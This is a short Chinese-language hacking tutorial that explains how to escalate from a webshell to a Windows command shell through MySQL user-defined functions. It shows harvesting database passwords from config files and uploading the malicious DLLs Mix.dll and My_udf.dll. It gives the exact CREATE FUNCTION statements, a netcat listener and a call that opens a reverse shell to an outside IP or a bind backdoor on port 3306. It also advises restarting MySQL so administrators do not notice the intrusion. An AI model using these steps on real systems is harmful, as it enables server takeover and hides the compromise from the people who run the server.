MYSQL的弱口令可以通过提权拿到系统权限,不过有个前提,就是知道目标主机账号和密码,才能进行提权。不过,WEBSHELL获得了,找mysql账号应该也不是什么难事 ……
一般来说连接MYSQL的帐户密码非常好找,比如config.php、conn.php等,找到后先用SQL Query 测试连接,如图:
连接成功,现在开始将 Mix.dll& My_udf.dll 上传(Mix.dll用于反弹连接,My_udf.dll是正向连接,直接用连接对方的3306端口,然后输入密码就可获得CMDSHELL),传完后,执行以下SQL语句来注册函数:
create function Mixconnect returns string soname 'd:\\php\\php\\Mix.dll';
SQL语句成功执行!如图:
离拿到CMDSHELL已经不远了,我们先用NC在本地监听端口1234,Nc -l -p 1234 ,然后Webshell端执行语句:
select Mixconnect('192.168.1.254','1234');
来激活那个函数,如图:
执行成功,然后看看我们的NC有反应没,如图:
成功得到CMSHELL,不过这时对方的MYSQL已假死,我们要把MYSQL服务进程给kill掉,然后重新启动MYSQL服务才行,不然管理员发现网站运行不了了,那就。。。。
如果该服务器不允许连接所有外部IP和端口,而他的3306端口却是对外开的!这时My_udf.dll就该上场了,使用方法和Mix相同,连接MYSQL成功后执行如下语句:
create function my_udfdoor returns string soname 'D:\\php\\php\\my_udf.dll';
执行语句成功后,然后我们就开始激活这个函数,输入语句:
select my_udfdoor ('');
然后用nc连接3306端口,就能得到一个cmdshell了.